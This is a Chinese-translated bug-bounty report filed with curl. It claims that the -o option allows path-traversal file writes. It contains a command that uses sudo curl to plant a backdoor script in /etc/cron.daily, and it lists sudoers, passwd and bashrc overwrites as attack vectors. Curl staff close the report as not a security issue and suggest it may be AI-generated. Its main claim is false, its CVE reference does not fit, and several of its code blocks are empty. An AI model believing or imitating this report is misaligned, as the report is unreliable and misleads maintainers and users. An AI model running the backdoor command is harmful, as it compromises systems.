[高危] cURL CLI中通过路径遍历实现任意文件写入(-o/–output参数)(CWE-22:路径名限制不当)
时间线
oicus 向curl提交报告
2025年5月1日 6:30 UTC
摘要
cURL的-o
/--output
参数未对文件路径进行限制或清理。当传入相对路径遍历序列(如../../
)时,cURL会将文件写入当前工作目录之外,导致任意文件覆盖。在自动化或特权环境(CI/CD、root容器)中,这可能引发远程代码执行(RCE)、权限提升和供应链风险。
该行为违反了cURL嵌入脚本或以提升权限运行时对路径安全性的预期。
受影响版本
受影响资产
组件:cURL CLI
受影响版本:cURL 7.64.0 至 8.4.0(已在7.64.0、7.79.1、7.85.0、8.4.0测试)
测试平台:Linux(Debian)、macOS、Alpine(Docker)
最新测试版本:
curl 7.85.0 (x86_64-pc-linux-gnu) libcurl/7.85.0 OpenSSL/3.0.2
技术根本原因
|
|
未执行路径规范化(未使用realpath()),cURL允许任何相对/绝对路径。这形成了向敏感区域(如/etc/
、$HOME/.ssh/
、~/.bashrc
)的写入原语。
复现步骤
前置条件
- 文件目标可由当前用户写入(或使用root以展示完整影响)
- 可无需用户交互自动化或脚本执行
利用过程
- 启动Web服务器:
1
python3 -m http.server 8000
- 运行存在漏洞的cURL:
1
sudo curl http://localhost:8000/backdoor.sh -o "../../etc/cron.daily/zzz-backdoor"
- 检查结果:
下次cron运行时,
1 2
ls -l /etc/cron.daily/zzz-backdoor cat /etc/cron.daily/zzz-backdoor
zzz-backdoor
将以root权限执行。
Docker容器(特权模式):
|
|
CI/CD管道(供应链注入):
|
|
用户级利用:
|
|
CVSS v3.1基础评分:7.8(高危)
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
缓解与建议
修复建议
在写入前对路径进行规范化与验证:
|
|
支持证据
- 源代码参考:src/tool_cfgable.c#L512
- 类似CVE:CVE-2020-8284(cURL FTP路径遍历,已在7.73.0修复)
- CWE:CWE-22
影响
向量 | 描述 |
---|---|
任意文件写入 | 覆盖用户可访问的任何文件 |
权限提升 | 覆盖/etc/sudoers、/etc/passwd或root拥有的cron任务 |
RCE/持久化 | 通过登录脚本、bashrc或CI/CD配置覆盖植入后门 |
供应链注入 | 脚本化或基于容器的安装自动运行攻击者载荷 |
后续讨论
dfandrich (curl staff) 2025年5月1日 6:41 UTC
这是设计如此。cURL会将文件写入用户提供的任何路径。如果用户想写入~/.bashrc,cURL会愉快地执行。毕竟用户是老板。你建议cURL怎么做?
这份报告听起来可疑地类似于https://hackerone.com/reports/3100073。你也在用AI生成报告吗?
bagder (curl staff) 2025年5月1日 9:30 UTC
关闭报告并将状态改为"不适用"。
这是cURL的正常工作方式。不是安全问题。
jimfuller2024 (curl staff) 2025年5月2日 4:40 UTC
同意我同事的评论——此外——如果你的漏洞报告包含’>sudo curl’,不仅"用户是老板",而且这个特定用户是root,允许你做各种坏事。
bagder (curl staff) 2025年6月28日 12:24 UTC
请求公开此报告。
bagder (curl staff) 2025年6月30日 18:55 UTC
公开此报告。
报告元数据
项目 | 内容 |
---|---|
报告时间 | 2025年5月1日 6:30 UTC |
报告者 | oicus |
报告对象 | curl |
报告ID | #3120987 |
严重程度 | 高危 (7 ~ 8.9) |
公开时间 | 2025年6月30日 18:55 UTC |
弱点类型 | 路径遍历 |
CVE ID | CVE-2020-8284 |
奖金 | 无 |
账户详情 | 无 |